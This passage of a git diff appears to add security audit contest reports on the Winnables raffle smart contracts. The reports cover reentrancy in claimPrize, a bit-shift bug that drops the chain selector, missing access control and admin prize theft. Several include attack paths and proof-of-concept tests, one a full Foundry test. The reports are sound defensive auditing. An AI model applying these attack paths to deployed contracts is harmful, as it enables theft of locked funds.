redirecting the message to an unintended destination. + +The [`BaseCCIPSender._sendCCIPMessage`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPSender.sol#L15-L50) function executes the call to the untrusted contract without performing any additional validation. + +```solidity +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data +) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend( + ccipDestChainSelector, + message + ); +} +``` + +However, the raffle status [will be set to](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L337) `PROPAGATED`, preventing subsequent calls to `propagateRaffleWinner` due to [the status check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L336). + +As a result, the winner cannot claim their prize because the [`WinnablesPrizeManager._ccipReceive`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) function is never invoked, leaving the raffle winner [unset](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L275-L276). + +## Impact + +Any raffle winner can be permanently blocked from claiming their reward. The prize will remain indefinitely locked in the `WinnablesPrizeManager`, with neither the winner nor the admin able to withdraw it. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +[](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345)https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPSender.sol#L46-L49 + +## Tool used + +Manual Review + +## Recommendation + +The issue can be mitigated in two ways: + +- If there are no plans to support other chains, remove the `chainSelector` and `prizeManager` parameters. +- Allow only the winner to call the `propagateRaffleWinner` function. + +```diff + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyWinner { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + ++ if (winner != msg.sender) { ++ revert Unauthorized(); ++ } + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` \ No newline at end of file diff --git a/001/414.md b/001/414.md new file mode 100644 index 0000000..61d1b26 --- /dev/null +++ b/001/414.md @@ -0,0 +1,42 @@ +Fresh Corduroy Bird + +High + +# Admin can steal the prize even after a winner won that prize + +## Summary +Admin can steal the prize won by a winner by setting a malicious CCIP counterpart. + +## Vulnerability Detail +In contest README sponsor mentioned that the admin should never be able prevent a winner from withdraw their prize as below: + +> The principles that must always remain true are: +> * Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +It is also mentioned that the admin should not be able to steal funds +> The protocol working as expected relies on having an admin creating raffles. It should be expected that the admin will do their job. However it is not expected that the admin can steal funds that should have ended in a raffle participant’s wallet in any conceivable way. + +However the admin can steal funds or prevent a winner from withdrawing their prize by adding a malicious CCIP counterpart using +`setCCIPCounterpart()` function. Then sending a malicious message from that malicious counterpart. + +**PoC**: +1. Admin locks 10 ETH prize on ETH Mainnet. +2. Creates a Raffle with that prize on Avalanche. +3. Users buy tickets and Raffle ends. +4. But to pick the winner it takes some time as random number needs to picked which is asynchronous. +5. So an add a malicious counterpart (malicious contract deployed on Polygon) by calling `setCCIPCounterpart` function of PrizeManager contract on ETH Mainnet. +6. Then Admin sends a malicious message( setting his address as winner) from malicious contract deployed on Polygon before the actual winner is propagated from Avalanche. +7. Admin can now claim the prize. + +## Impact +Admin can steal the prize +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140 + +## Tool used + +Manual Review + +## Recommendation +Save the counterpart details for the specific raffle in the raffle data, and allow only those counterparts to send messages for that raffle. \ No newline at end of file diff --git a/001/415.md b/001/415.md new file mode 100644 index 0000000..2f8adf7 --- /dev/null +++ b/001/415.md @@ -0,0 +1,134 @@ +Suave Bronze Monkey + +Medium + +# Malicious actor will break raffle fully to cancel and select arbitrary winner. + +### Summary + +Incorrect use of bitwise operation with type casting in `BaseCCIPContract::_packCCIPContract` will cause `chainSelector` param useless, so if malicious actor has same address in any other chains, and send CCIP message to become winner, or cancel already completed raffles. + +### Root Cause + +In [`BaseCCIPContract.sol#L41-44`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L41-L44) , `chainSelector` is of type `uint64`, so `leftshift(<<)` operation to it before type casting, `chainSelector` will be missed in the packing. +160 bit is greater than 64, so `chainSelector` will be missed in the packing. + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) // @audit use uint256(chainSelector) << 160 + ); +} +``` + +And when receiving a CCIP message in the protocol, it is intended to check if message sender and source chain is registered as valid counterpart . + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + __SNIP__ + + } +``` +However, because _packCCIPContract doesn't contain `sourceChainSelector` in packed version, it allows same address in any other chains to have permission to propagate winner or cancel raffle even if completed. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +It impacts loss of prize and breaks protocol functionalities. +Malicious actor can exploit repeatedly to drain all funds in PrizeManager. + +### Impact + +_No response_ + +### PoC + +Add following code snippets into PrizeManager.js +```javascript + +it('CCIPCounterpart is wrong calculated', async () => { + for (var i = 1; i <= 10; i++) { + await (await manager.setCCIPCounterpart(counterpartContractAddress, i, true)).wait(); + } + }) + +``` + +Modify BaseCCIPContract.sol +```solidity +function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); ++ bytes32 contractAddress32 = bytes32(uint256(uint160(contractAddress))); ++ console.log('Destination Chain: ', uint256(chainSelector)); ++ console.logBytes32(counterpart); ++ console.logBytes32(contractAddress32); + _ccipContracts[counterpart] = enabled; + } +``` + +and then run command `npm run test` +```sh +✔ Claims twice as Winner A (166ms) +✔ Claim as winner B (68ms) +Destination Chain: 1 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 2 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 3 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 4 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 5 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 6 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 7 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 9 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +Destination Chain: 10 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +✔ CCIPCounterpart is wrong calculated (311ms) +``` + +### Mitigation + +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ uint256(chainSelector) << 160 + ); + } +``` \ No newline at end of file diff --git a/001/417.md b/001/417.md new file mode 100644 index 0000000..c63580d --- /dev/null +++ b/001/417.md @@ -0,0 +1,41 @@ +Docile Daisy Wallaby + +Medium + +# Attacker will prevent refunds to multiple players by front-running the `refundPlayers` function with a single player already refunded + +### Summary + +Lack of access control on the `refundPlayers` function will cause griefing for the protocol as an attacker can front-run legitimate refund operations by including a player who has already been refunded, triggering a `PlayerAlreadyRefunded` error and forcing the user or admin to rerun the function. + +### Root Cause + +In [WinnablesTicketManager.sol:215](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215), the `refundPlayers` function lacks access control, allowing anyone to call it with arbitrary player lists, potentially including players who have already been refunded. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker monitors the blockchain and sees that the user is about to call the `refundPlayers` function with a list of players. +2. The attacker front-runs the transaction by calling `refundPlayers` with the player who is first in the user's list. +3. The attacker's transaction is executed first, marking the first player in the list as refunded. +4. When the user's transaction is executed, it fails immediately because the first player in the list has already been marked as refunded by the attacker, triggering a `PlayerAlreadyRefunded` error. +5. The user is forced to identify the refunded player, remove them from the list, and rerun the function with the remaining players. + +### Impact + +The protocol suffers from increased gas costs as the user must rerun the refundPlayers function after removing the already-refunded player from the list. + +### PoC + +_No response_ + +### Mitigation + +Implement access control on the refundPlayers function to ensure that only authorized roles (such as the admin) can call it. \ No newline at end of file diff --git a/001/418.md b/001/418.md new file mode 100644 index 0000000..2dc3160 --- /dev/null +++ b/001/418.md @@ -0,0 +1,70 @@ +Rural Oily Crocodile + +High + +# Improper CEI pattern allows winner of a raffle to re-enter and drain the contract of ETH funds + +## Summary +Improper CEI pattern allows winner of an ETH raffle to drain the contract from all funds. + +## Vulnerability Detail +When an ETH raffle winner claims their prize, an [external call to send the prize](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L116-L118) is made before [setting the prize status](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L122) to `RafflePrizeStatus.CLAIMED`. + +The function that sends out the ETH is a simple [low-level external `.call`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L317): + +```solidity + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +What this allows is for the winner to use a contract (no limitations on that) as the receiver of the prize of an ETH raffle, re-enter when claiming and drain the contract of all eth funds in it. +## Impact +Since the protocol is going to run multiple raffles simultaneously, when there is more than 1 ETH raffle running at a time, the winner of the first one will be able to drain the funds from the other ones that are still running. + +Let's look at a step by step example: + +**Environment**: +- 3 Simultaneous ETH raffles running, each with 10ETH prize +- `_ethLocked` will be 30ETH in this case + +**PoC**: +1. Raffle A concludes and Alice wins, Raffle B & C are still on-going +2. Alice calls `claimPrize()` with the `raffleId` +3. `RaffleType == ETH`, so we enter the 3rd `else-if` +4. `_ethLocked -= _ethRaffles[raffleId]` or `30ETH - 10ETH` 20ETH left in the contract for B & C +5. Alice's attacker contract receives the prize and in the fallback function re-enters to claim again +6. Function flow of `claimPrize` begins again from the start +7. Same thing repeats 2 more times, so 3 in total, Alice receives all 30ETH allocated for 3 raffles instead of her prize of 10ETH +8. Alice's fallback function has a flag to only re-enter twice, so on the 3rd fallback her contract returns +9. `claimPrize` continues and the `rafflePrize.status` is finally set to `CLAIMED` +10. Function flow ends, Alice has drained the contract from all ETH raffle prizes locked in it, she gains 30ETH instead of 10 + +The testing environment is in hardhat whilst I've only used foundry so I was unable to provide a coded PoC unfortunately. +## Code Snippet +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } +@> _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +@> rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +## Tool used +Manual Review +## Recommendation +Proper CEI pattern, set the CLAIMED flag before the external call. \ No newline at end of file diff --git a/001/421.md b/001/421.md new file mode 100644 index 0000000..81ad610 --- /dev/null +++ b/001/421.md @@ -0,0 +1,73 @@ +Fancy Blonde Mustang + +High + +# Functions can be call by anyone, rewards will be lost + +## Summary + +In the `WinnablesTicketManager.sol` contract, the externally callable functions `cancelRaffle` and `propagateRaffleWinner` allow any user to provide arbitrary values for the `chainSelector` parameter. This can lead to an inconsistent system state and potential issues with the raffle process. + +## Vulnerability Detail + +Consider the following scenario: +1. Where a malicious user calls the `cancelRaffle` function with a random `chainSelector`. +2. If the raffle can be canceled, the function will update the raffle status to "Cancelled" within the `WinnableTicketManager` and attempt to propagate this change to the wrong chain. +3. This mismatch results in an inconsistent system state, where the raffle status is not correctly updated in the `WinnablePrizeManager`, leading to the reward being locked. + + +A similar vulnerability exists in the `propagateRaffleWinner` function, where incorrect propagation will also result in the reward being locked within the `WinnablePrizeManager`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Impact + +Allowing arbitrary `chainSelector` values in the `WinnablesTicketManager::cancelRaffle` and `WinnablesTicketManager::propagateRaffleWinner` functions can cause severe inconsistencies, primarily leading to locked rewards. If these functions are called with incorrect `chainSelector` values, the raffle status will be not updated incorrectly in the `WinnablePrizeManager`, causing the prize to remain locked and inaccessible. This vulnerability could be exploited by malicious users to intentionally lock rewards and disrupt the raffle process. + +## Code Snippet + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +... + +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +## Tool used + +Manual Review + +## Recommendation +Two fixes can be apply here. + +1. Implement Access Control: + +Restrict Access: Ensure that only authorized users or contracts can call the cancelRaffle and propagateRaffleWinner functions. Implement access control mechanisms, such as role-based permissions, to control who can execute these functions. + +2. Validate chainSelector Values: + +Whitelist Chains: Implement a mechanism to ensure that the chainSelector is a valid and whitelisted chain. This prevents the system from sending messages to invalid or unauthorized chains. \ No newline at end of file diff --git a/001/423.md b/001/423.md new file mode 100644 index 0000000..0842fd7 --- /dev/null +++ b/001/423.md @@ -0,0 +1,263 @@ +Cheesy Chambray Trout + +High + +# The _setCCIPCounterpart Function Is Not Properly Implemented + +## Summary +The implementation of the _packCCIPContract(address contractAddress, uint64 chainSelector) function is incorrect, as it does not account for the chainSelector parameter. + +## Vulnerability Detail +The implementation of the function intended to restrict the source of messages processed by CCIP to a specific address and chainSelector does not properly consider the chainSelector. +A WinnableTicketManager contract created on Arbritrum, but with the same address, could send a message to the WinnablePrizeManager on Ethereum once the WinnableTicketManager on AVAX was approved as a counterpart CCIP contract of the WinnablePrizeManager. + +## Impact +A hacker could wait for the admin to deploy a new WinnableTicketManager contract on another chain (Arbritrum). +Even if this contract, hosted on Arbritrum, is not approved as a counterpart to the WinnablePrizeManager, it could still send CCIP messages (like canceling or selecting a winner) to the WinnablePrizeManager as long as it has the same address. +This could happen frequently since contracts are generally deployed on different chains with the same address. This is even more likely if the contracts are deployed using a DAO. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40 + +## Code Snippet +The project should be configured to use foundry forge to run the forge build and forge test commands + +Create the base test class BaseTest.sol + +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol"; +import {Test} from "forge-std/Test.sol"; +import {WinnablesTicket} from "../src/WinnablesTicket.sol"; +import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol"; +//import {MockLink} from "../src/mock/MockLink.sol"; +import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol"; +import {DemoNFT} from "../src/mock/DemoNFT.sol"; +import {DemoToken} from "../src/mock/MockToken.sol"; +import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol"; +import {IMockLink} from "../src/interfaces/IMockLink.sol"; + +contract BaseTest is Test { + //initialize variables of LinkToken and CCIPRouter with address on Sepolia and Avax testnet + address linkTokenETH = 0x779877A7B0D9E8603169DdbD7836e478b4624789; + address linkTokenAVX = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846; + + address ccipRouterETH = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59; + address ccipRouterAVX = 0xF694E193200268f9a4868e4Aa017A0118C9a8177; + + // Ethereum chain selector + uint64 chainSlectorEth = 16015286601757825753; + // Avalanche chain selector + uint64 chainSlectorAvax = 14767482510784806043; + + //Arbritrum chain selector + uint64 chainSlectorArbitrum = 3478487238524512106; + + //Chainlink VRF con fig + address vrfCoordinator; + uint64 subscriptionId; + bytes32 keyHash; + + // 3 contracts of the protocol + WinnablesTicket tickets; + WinnablesTicketManager ticketManager; + WinnablesPrizeManager prizeManager; + + // User of the application + address admin = address(0xabc0); + address user1 = address(0xabc1); + address user2 = address(0xabc2); + address user3 = address(0xabc3); + address user4 = address(0xabc4); + address user5 = address(0xabc5); + + // NFT and Token contracts + DemoNFT nft1; + DemoToken token1; + DemoNFT nft2; + DemoToken token2; + DemoNFT nft3; + DemoToken token3; + + // LINK and CCIPRouter contracts + IMockLink linkTokenETHContract; + IMockLink linkTokenAVXContract; + + IRouterClient ccipRouterETHContract; + IRouterClient ccipRouterAVXContract; + + VRFCoordinatorV2BetterMock vrfCoordinatorContract; + + function setUp() public virtual { + //Instantiate and deploy the contracts LinkToken and CCIPRouter + linkTokenETH = deployCode("MockLink.sol", ""); + linkTokenETHContract = IMockLink(linkTokenETH); + linkTokenAVX = deployCode("MockLink.sol", ""); + linkTokenAVXContract = IMockLink(linkTokenAVX); + + ccipRouterETH = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenETH)); + ccipRouterETHContract = IRouterClient(ccipRouterETH); + ccipRouterAVX = deployCode("MockCCIPRouter.sol", abi.encode(linkTokenAVX)); + ccipRouterAVXContract = IRouterClient(ccipRouterAVX); + + uint96 baseFee = 0.25 ether; + uint96 gasPriceLink = 1e9; + + // DEPLOY VRF COORDINATOR + vrfCoordinator = deployCode("VRFCoordinatorV2BetterMock.sol", abi.encode(linkTokenETH, baseFee, gasPriceLink)); + subscriptionId = 16015286601757825753; //; + keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; + + vm.startPrank(admin); + address prizeManagerAddress = deployCode("WinnablesPrizeManager.sol", abi.encode(linkTokenETH, ccipRouterETH)); + prizeManager = WinnablesPrizeManager(prizeManagerAddress); + + address ticketsAddress = deployCode("WinnablesTicket.sol", ""); + tickets = WinnablesTicket(ticketsAddress); + + address ticketManagerAddress = deployCode( + "WinnablesTicketManager.sol", + abi.encode(linkTokenAVX, vrfCoordinator, subscriptionId, keyHash, ticketsAddress, ccipRouterAVX) + ); + + ticketManager = WinnablesTicketManager(ticketManagerAddress); + + vm.stopPrank(); + + prizeManager = WinnablesPrizeManager(prizeManagerAddress); + tickets = WinnablesTicket(ticketsAddress); + ticketManager = WinnablesTicketManager(ticketManagerAddress); + + // Set counterpart + vm.startPrank(admin); + prizeManager.setCCIPCounterpart(address(ticketManager), chainSlectorAvax, true); + ticketManager.setCCIPCounterpart(address(prizeManager), chainSlectorEth, true); + + //Create Token and NFT + nft1 = new DemoNFT(); + token1 = new DemoToken(); + nft2 = new DemoNFT(); + token2 = new DemoToken(); + nft3 = new DemoNFT(); + token3 = new DemoToken(); + vm.stopPrank(); + } +} +``` + +Create the WinnablesPrizeManagerTest.t.sol class to receive CCIP message from 2 different chain +```javascript +/ SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {WinnablesPrizeManager} from "../src/WinnablesPrizeManager.sol"; +import {Test, console} from "forge-std/Test.sol"; +import {WinnablesTicket} from "../src/WinnablesTicket.sol"; +import {WinnablesTicketManager} from "../src/WinnablesTicketManager.sol"; +//import {MockLink} from "../src/mock/MockLink.sol"; +import {VRFCoordinatorV2BetterMock} from "../src/mock/VRFCoordinatorV2BetterMock.sol"; +import {BaseTest} from "./BaseTest.sol"; +import {IWinnablesPrizeManager} from "../src/interfaces/IWinnablesPrizeManager.sol"; +import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol"; + +enum CCIPMessageType { + RAFFLE_CANCELED, + WINNER_DRAWN +} + +contract WinnablesPrizeManagerTest is BaseTest { + function setUp() public override { + super.setUp(); + } + function test_send_ccip_message_chainselector() public { + //0 - only address(ticketManager) and chainSlectorAvax was approved as counterpart (see BaseTest) + + //1 - admin min 2 NFT and send to prizeManager + vm.prank(admin); + nft1.mint(address(prizeManager)); + + vm.prank(admin); + nft1.mint(address(prizeManager)); + + //2 - admin mint link and send to prizeManager + vm.prank(admin); + linkTokenETHContract.mint(address(prizeManager), 100 ether); + + //3 - lock NFT + vm.prank(admin); + prizeManager.lockNFT(address(ticketManager), chainSlectorAvax, 1, address(nft1), 1); + + vm.prank(admin); + prizeManager.lockNFT(address(ticketManager), chainSlectorAvax, 2, address(nft1), 2); + + //4 - check information of the 2 raffles + IWinnablesPrizeManager.NFTInfo memory nftInfo = prizeManager.getNFTRaffle(1); + assertEq(nftInfo.contractAddress, address(nft1)); + assertEq(nftInfo.tokenId, 1); + + IWinnablesPrizeManager.NFTInfo memory nftInfo2 = prizeManager.getNFTRaffle(1); + assertEq(nftInfo2.contractAddress, address(nft1)); + assertEq(nftInfo2.tokenId, 1); + + //5 - create a message to cancel the raffle from Avax chainselector + Client.Any2EVMMessage memory messageAvax = Client.Any2EVMMessage({ + messageId: bytes32(0), + sourceChainSelector: chainSlectorAvax, //AVAX chainselector + sender: abi.encode(address(ticketManager)), + data: abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), uint256(1)), + destTokenAmounts: new Client.EVMTokenAmount[](0) + }); + + //56 - create a message to cancel the raffle from Avax chainselector + Client.Any2EVMMessage memory messageAbr = Client.Any2EVMMessage({ + messageId: bytes32(0), + sourceChainSelector: chainSlectorArbitrum, //Arbritrum Chainselector + sender: abi.encode(address(ticketManager)), + data: abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), uint256(2)), + destTokenAmounts: new Client.EVMTokenAmount[](0) + }); + + //7 - send the message to the prizeManager to cancel the raffle from Avax chainselector + vm.prank(ccipRouterETH); + prizeManager.ccipReceive(messageAvax); + + //7 - send the message to the prizeManager to cancel the raffle from Arbritrum chainselector + //and it should revert as chainSlectorArbitrum is not approved as counterpart + vm.prank(ccipRouterETH); + prizeManager.ccipReceive(messageAbr); + } +} +``` + +Then run the command + +```shell +forge test --mt test_send_ccip_message_chainselector -v +``` + +You'll see that the command does not revert as expected and pass even Arbritrum Slector was approved with this contract address + +```shell +Ran 1 test for test/WinnablesPrizeManagerTest.t.sol:WinnablesPrizeManagerTest +[PASS] test_send_ccip_message_chainselector() (gas: 415930) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.68ms (2.35ms CPU time) + +Ran 1 test suite in 167.73ms (10.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) +``` + +## Tool used + +Manual Review and foundry + +## Recommendation + +to fix the problem replace the function _packCCIPContract(address contractAddress, uint64 chainSelector) with +```diff + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns (bytes32) { +- return bytes32(uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); ++ return bytes32((uint256(chainSelector) << 160) | uint256(uint160(contractAddress))); + } +``` \ No newline at end of file diff --git a/001/427.md b/001/427.md new file mode 100644 index 0000000..e576fef --- /dev/null +++ b/001/427.md @@ -0,0 +1,49 @@ +Brave Bone Wombat + +High + +# WinnablesPrizeManager can be reentered and steal all locked ETH from contract + +### Summary + + +The absence of reentrancy checks in claimPrize +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L117-L118 +and the lack of restrictions on balance changes when using _sendETHPrize can lead to a reentrancy vulnerability, potentially resulting in the theft of ETH that was previously locked and is stored in the _ethLocked variable. + +### Root Cause + +The winner's balance is not reset; instead, it is deducted from all locked funds intended for lottery operations. Additionally, the ```ReentrancyGuard``` modifier is missing. + +### Internal pre-conditions + +1. The administrator must lock the funds in ETH for the lottery, ensuring that ```_ethLocked != 0``` +2. The administrator creates a lottery using WinnablesTicketManager:createRaffle. +3. The attacker uses ```buyTicket``` to purchase the maximum possible number of tickets to increase the chances of winning. +4. Due to the lack of proper checks, the attacker can exploit ```claimPrize``` to perform a reentrancy attack. + +### External pre-conditions + +The attacker must use a malicious smart contract with a fallback function. + +### Attack Path + +An attacker deploys a smart contract (let’s call it Alice) and participates in the lottery by purchasing the maximum number of tickets to increase the chances of winning. When Alice wins and calls claimPrize(), the first check if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); passes because Alice's address matches the winner's address. The second check if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); also passes since this is her first call to the function and the prize status has not been updated yet. + +However, before updating Alice's claim status, the lottery contract performs an external .call{value: amount}("") to Alice’s address with the prize amount. Upon receiving the funds, Alice’s contract re-enters claimPrize() before the claim status is updated. The first check passes again because the winner’s address is still the same, and the second check also passes since the status has not been updated yet. + +As a result, Alice can repeat the process, draining all the ETH locked in the lottery contract and causing the protocol to lose all funds intended for the lottery. + +### Impact + +The protocol loses all previously locked ETH funds intended for conducting lotteries. + +### PoC + +_No response_ + +### Mitigation + +1. Use ReentrancyGuard. +2. Change the status to rafflePrize.status = RafflePrizeStatus.CLAIMED before transferring funds. +3. Introduce a prize balance for each raffle and reset it to zero before transferring the funds. \ No newline at end of file diff --git a/001/431.md b/001/431.md new file mode 100644 index 0000000..709719a --- /dev/null +++ b/001/431.md @@ -0,0 +1,174 @@ +Electric Violet Nuthatch + +High + +# Unupdated _lockedETH in refundPlayers Function Leads to Potential Fund Locking + +### Summary + 